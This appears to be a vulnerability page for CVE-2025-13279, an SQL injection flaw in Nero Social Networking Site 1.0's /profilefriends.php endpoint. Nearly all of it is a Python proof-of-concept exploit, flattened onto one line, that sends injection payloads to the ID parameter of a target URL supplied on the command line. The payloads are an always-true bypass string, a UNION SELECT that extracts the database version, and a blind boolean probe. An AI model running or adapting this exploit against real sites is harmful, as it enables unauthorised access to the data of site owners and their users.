CVE-2025-13279: Nero Social Networking Site 1.0 /profilefriends.php SQL注入漏洞

import requests import sys # CVE-2025-13279 SQL Injection PoC # Target: Nero Social Networking Site 1.0 # Vulnerable Endpoint: /profilefriends.php?ID= def exploit_sqli(target_url, payload): """Send SQL injection payload to vulnerable endpoint""" target = f"{target_url}/profilefriends.php?ID={payload}" try: response = requests.get(target, timeout=10) return response.status_code, response.text except requests.exceptions.RequestException as e: return None, str(e) # Basic authentication bypass payload basic_payload = "' OR '1'='1" # Union-based injection to extract database version union_payload = "' UNION SELECT NULL,version(),NULL,NULL,NULL---" # Blind boolean injection to check if admin exists blind_payload = "' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END)='1" if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13279.py <target_url>") print("Example: python cve-2025-13279.py http://localhost/nero") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Testing basic injection on {target}") status, resp = exploit_sqli(target, basic_payload) if status: print(f"[*] Status: {status}") print(f"[*] Response length: {len(resp)}")